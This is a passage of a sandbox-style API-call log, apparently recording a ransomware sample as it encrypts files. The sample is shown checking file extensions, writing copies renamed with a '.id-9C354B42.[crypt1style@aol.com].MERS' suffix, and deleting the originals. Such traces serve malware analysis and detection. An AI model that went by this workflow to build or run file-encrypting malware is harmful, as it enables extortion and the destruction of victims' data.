lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.611] lstrlenW (lpString=".rar") returned 4 [0050.611] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.611] lstrlenW (lpString=".bz2") returned 4 [0050.611] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.611] lstrlenW (lpString=".7z") returned 3 [0050.611] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0050.611] lstrlenW (lpString=".dbf") returned 4 [0050.611] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0050.611] lstrlenW (lpString=".1cd") returned 4 [0050.611] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0050.611] lstrlenW (lpString=".jpg") returned 4 [0050.611] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.611] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0050.611] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0050.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0050.611] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2209) returned 1 [0050.612] CloseHandle (hObject=0x1c4) returned 1 [0050.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 0x20 [0050.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0050.612] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.612] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0050.728] GetLastError () returned 0x0 [0050.728] ReadFile (in: hFile=0x1c4, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x8a1, lpOverlapped=0x0) returned 1 [0050.751] WriteFile (in: hFile=0x224, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x8b0, lpOverlapped=0x0) returned 1 [0050.752] ReadFile (in: hFile=0x1c4, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.752] WriteFile (in: hFile=0x224, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.752] SetEndOfFile (hFile=0x224) returned 1 [0050.752] CloseHandle (hObject=0x224) returned 1 [0050.753] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.753] SetEndOfFile (hFile=0x1c4) returned 1 [0050.753] CloseHandle (hObject=0x1c4) returned 1 [0050.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.754] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 1 [0050.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0050.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0050.754] lstrlenW (lpString=".doc") returned 4 [0050.754] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.754] lstrlenW (lpString=".docx") returned 5 [0050.754] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.754] lstrlenW (lpString=".pdf") returned 4 [0050.754] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.754] lstrlenW (lpString=".xls") returned 4 [0050.754] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.754] lstrlenW (lpString=".xlsx") returned 5 [0050.754] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.754] lstrlenW (lpString=".ppt") returned 4 [0050.754] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0050.754] lstrlenW (lpString=".zip") returned 4 [0050.754] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.754] lstrlenW (lpString=".rar") returned 4 [0050.754] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.754] lstrlenW (lpString=".bz2") returned 4 [0050.754] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.754] lstrlenW (lpString=".7z") returned 3 [0050.754] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0050.754] lstrlenW (lpString=".dbf") returned 4 [0050.754] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0050.755] lstrlenW (lpString=".1cd") returned 4 [0050.755] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0050.755] lstrlenW (lpString=".jpg") returned 4 [0050.755] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0050.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0050.755] lstrlenW (lpString=".doc") returned 4 [0050.755] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.755] lstrlenW (lpString=".docx") returned 5 [0050.755] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.755] lstrlenW (lpString=".pdf") returned 4 [0050.755] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.755] lstrlenW (lpString=".xls") returned 4 [0050.755] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.755] lstrlenW (lpString=".xlsx") returned 5 [0050.755] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.755] lstrlenW (lpString=".ppt") returned 4 [0050.755] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0050.755] lstrlenW (lpString=".zip") returned 4 [0050.755] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.755] lstrlenW (lpString=".rar") returned 4 [0050.755] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.755] lstrlenW (lpString=".bz2") returned 4 [0050.755] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.755] lstrlenW (lpString=".7z") returned 3 [0050.756] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0050.756] lstrlenW (lpString=".dbf") returned 4 [0050.756] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0050.756] lstrlenW (lpString=".1cd") returned 4 [0050.756] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0050.756] lstrlenW (lpString=".jpg") returned 4 [0050.756] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.756] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0050.756] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0050.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0050.764] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=19525) returned 1 [0050.764] CloseHandle (hObject=0x21c) returned 1 [0050.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0050.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0050.764] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.764] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0050.765] GetLastError () returned 0x0 [0050.765] ReadFile (in: hFile=0x21c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x4c45, lpOverlapped=0x0) returned 1 [0050.826] WriteFile (in: hFile=0x1c4, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x4c50, lpOverlapped=0x0) returned 1 [0050.827] ReadFile (in: hFile=0x21c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.827] WriteFile (in: hFile=0x1c4, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.827] SetEndOfFile (hFile=0x1c4) returned 1 [0050.827] CloseHandle (hObject=0x1c4) returned 1 [0050.827] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.827] SetEndOfFile (hFile=0x21c) returned 1 [0050.828] CloseHandle (hObject=0x21c) returned 1 [0050.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.828] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 1 [0050.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0050.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0050.828] lstrlenW (lpString=".doc") returned 4 [0050.829] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.829] lstrlenW (lpString=".docx") returned 5 [0050.829] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.829] lstrlenW (lpString=".pdf") returned 4 [0050.829] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.829] lstrlenW (lpString=".xls") returned 4 [0050.829] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.829] lstrlenW (lpString=".xlsx") returned 5 [0050.829] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.829] lstrlenW (lpString=".ppt") returned 4 [0050.829] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0050.829] lstrlenW (lpString=".zip") returned 4 [0050.829] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.829] lstrlenW (lpString=".rar") returned 4 [0050.829] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.829] lstrlenW (lpString=".bz2") returned 4 [0050.829] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.829] lstrlenW (lpString=".7z") returned 3 [0050.829] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0050.829] lstrlenW (lpString=".dbf") returned 4 [0050.829] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0050.829] lstrlenW (lpString=".1cd") returned 4 [0050.829] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0050.829] lstrlenW (lpString=".jpg") returned 4 [0050.829] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0050.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0050.829] lstrlenW (lpString=".doc") returned 4 [0050.829] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.829] lstrlenW (lpString=".docx") returned 5 [0050.829] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.829] lstrlenW (lpString=".pdf") returned 4 [0050.829] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.830] lstrlenW (lpString=".xls") returned 4 [0050.830] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.830] lstrlenW (lpString=".xlsx") returned 5 [0050.830] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.830] lstrlenW (lpString=".ppt") returned 4 [0050.830] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0050.830] lstrlenW (lpString=".zip") returned 4 [0050.830] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.830] lstrlenW (lpString=".rar") returned 4 [0050.830] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.830] lstrlenW (lpString=".bz2") returned 4 [0050.830] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.830] lstrlenW (lpString=".7z") returned 3 [0050.830] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0050.830] lstrlenW (lpString=".dbf") returned 4 [0050.830] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0050.830] lstrlenW (lpString=".1cd") returned 4 [0050.830] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0050.830] lstrlenW (lpString=".jpg") returned 4 [0050.830] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.830] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0050.830] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0050.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0050.831] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1675) returned 1 [0050.831] CloseHandle (hObject=0x21c) returned 1 [0050.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0050.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0050.831] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.831] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0051.085] GetLastError () returned 0x0 [0051.085] ReadFile (in: hFile=0x21c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x68b, lpOverlapped=0x0) returned 1 [0051.214] WriteFile (in: hFile=0x218, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x690, lpOverlapped=0x0) returned 1 [0051.215] ReadFile (in: hFile=0x21c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.215] WriteFile (in: hFile=0x218, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.215] SetEndOfFile (hFile=0x218) returned 1 [0051.215] CloseHandle (hObject=0x218) returned 1 [0051.215] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.215] SetEndOfFile (hFile=0x21c) returned 1 [0051.216] CloseHandle (hObject=0x21c) returned 1 [0051.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.216] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 1 [0051.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0051.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0051.216] lstrlenW (lpString=".doc") returned 4 [0051.216] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.216] lstrlenW (lpString=".docx") returned 5 [0051.216] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.217] lstrlenW (lpString=".pdf") returned 4 [0051.217] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.217] lstrlenW (lpString=".xls") returned 4 [0051.217] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.217] lstrlenW (lpString=".xlsx") returned 5 [0051.217] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.217] lstrlenW (lpString=".ppt") returned 4 [0051.217] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0051.217] lstrlenW (lpString=".zip") returned 4 [0051.217] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.217] lstrlenW (lpString=".rar") returned 4 [0051.217] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.217] lstrlenW (lpString=".bz2") returned 4 [0051.217] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.217] lstrlenW (lpString=".7z") returned 3 [0051.217] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0051.217] lstrlenW (lpString=".dbf") returned 4 [0051.217] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0051.217] lstrlenW (lpString=".1cd") returned 4 [0051.217] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0051.217] lstrlenW (lpString=".jpg") returned 4 [0051.217] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0051.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0051.217] lstrlenW (lpString=".doc") returned 4 [0051.217] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.217] lstrlenW (lpString=".docx") returned 5 [0051.217] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.217] lstrlenW (lpString=".pdf") returned 4 [0051.217] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.217] lstrlenW (lpString=".xls") returned 4 [0051.217] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.218] lstrlenW (lpString=".xlsx") returned 5 [0051.218] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.218] lstrlenW (lpString=".ppt") returned 4 [0051.218] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0051.218] lstrlenW (lpString=".zip") returned 4 [0051.218] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.218] 